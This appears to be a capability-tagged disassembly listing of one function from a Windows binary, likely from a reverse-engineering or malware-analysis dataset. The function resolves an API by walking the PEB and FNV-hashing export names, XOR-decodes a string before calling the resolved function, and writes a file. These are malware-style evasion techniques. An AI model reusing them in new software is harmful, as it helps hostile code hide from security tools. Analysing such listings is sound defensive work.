Function at 0x180022ca0
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r14
mov rbp, rsp
sub rsp, 0x70
lea rax, [rbp - 0x40]
mov qword [rbp + 0x20], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
xor ebx, ebx
mov qword [rbp - 0x30], rbx
mov qword [rbp - 0x28], rbx
lea r14, [0x1801c0580]
mov rdi, 0xffffffffffffffff
mov r8, rdi
nop
inc r8
cmp byte [r14 + r8], bl
jne 0x180022ce0
mov rdx, r14
lea rcx, [rbp - 0x40]
call fcn.180017f30
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], rbx
mov qword [rbp - 8], rbx
lea rsi, [0x1801c0570]
nop dword [rax]
inc rdi
cmp byte [rsi + rdi], 0
jne 0x180022d10
mov r8, rdi
mov rdx, rsi
lea rcx, [rbp - 0x20]
call fcn.180017f30
nop
lea r8, [rbp - 0x40]
lea rdx, [rbp - 0x20]
lea rcx, [0x1801c0630]
call fcn.1800047c0
cmp byte [0x1801c0868], 0
je 0x180022e00
mov eax, dword [0x18015a740]
mov dword [rbp + 0x20], eax
movzx eax, word [0x18015a744]
mov word [rbp + 0x24], ax
mov byte [rbp + 0x20], Ordinal_79
xor byte [rbp + 0x21], 0x32
xor byte [rbp + 0x22], 0x33
xor byte [rbp + 0x23], 0x34
xor al, 0x35
mov byte [rbp + 0x24], al
xor byte [rbp + 0x25], 0x36
lea r8, [0x18015a758]
lea rdx, [rbp + 0x20]
lea rcx, [0x1801c05c8]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen_s]
xor r8d, r8d
xor edx, edx
mov rcx, qword [0x1801c05c8]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
mov r9, qword [0x1801c05c8]
mov edx, reloc.WS2_32.dll_ntohs
lea r8d, [rdx - 0xe]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov r9, qword [0x1801c05c8]
mov edx, reloc.WS2_32.dll_ntohs
lea r8d, [rdx - 0xe]
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov rcx, qword [0x1801c05c8]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov byte [0x1801c0e18], 1
mov dword [0x1801c0940], 1
mov dword [0x1801c093c], 3
jmp 0x180023051
mov r10, qword [0x1801c0e38]
test r10, r10
jne 0x180022ec7
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rsi, r14
nop word [rax + rax]
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov edi, dword [rax + r9 + 0x88]
add rdi, r9
cmp rdi, r9
je 0x180022ea7
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x180022ea7
mov r11d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r11 + r8*4]
mov eax, dword [rax + r9]
add rax, r9
mov edx, 0x811c9dc5
movzx ecx, byte [rax]
inc rax
test cl, cl
je 0x180022ea2
nop dword [rax]
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [rax]
lea rax, [rax + 1]
test cl, cl
jne 0x180022e80
cmp edx, 0x23a979e4
je 0x180023066
test r8d, r8d
jne 0x180022e60
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r14
je 0x180022ebd
cmp qword [rax + 0x30], 0
jne 0x180022e30
mov r10, rbx
mov qword [0x1801c0e38], r10
mov eax, dword [0x18015a750]
mov dword [rbp - 0x48], eax
movzx eax, byte [0x18015a754]
movsd xmm0, qword [str.wSZXPR]
mov byte [rbp - 0x44], al
movsd qword [rbp - 0x50], xmm0
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x180022ff4
movdqa xmm4, xmmword [0x18015ab40]
movdqa xmm2, xmmword [0x18015aa70]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x18015aa90]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x18015aaa0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.1111111111111111]
movd xmm0, dword [str.wSZXPR]
xorps xmm2, xmm0
movd dword [rbp - 0x50], xmm2
movdqa xmm3, xmmword [0x18015aa80]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x18015aa90]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x18015aaa0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.1111111111111111]
movd xmm0, dword [rbp - 0x4c]
xorps xmm2, xmm0
movd dword [rbp - 0x4c], xmm2
mov ebx, 8
movsxd rax, ebx
lea r8, [rbp - 0x50]
add r8, rax
nop
mov eax, 0x92492493
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, bl
sub al, cl
add al, 0x31
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0xd
jl 0x180023000
lea rdx, [0x1801c0870]
cmp qword [0x1801c0888], 0xf
cmova rdx, qword [0x1801c0870]
xor r9d, r9d
lea r8, [rbp - 0x50]
xor ecx, ecx
call r10
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
mov ecx, dword [rdi + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov r10d, dword [rcx + rdx*4]
add r10, r9
jmp 0x180022ec0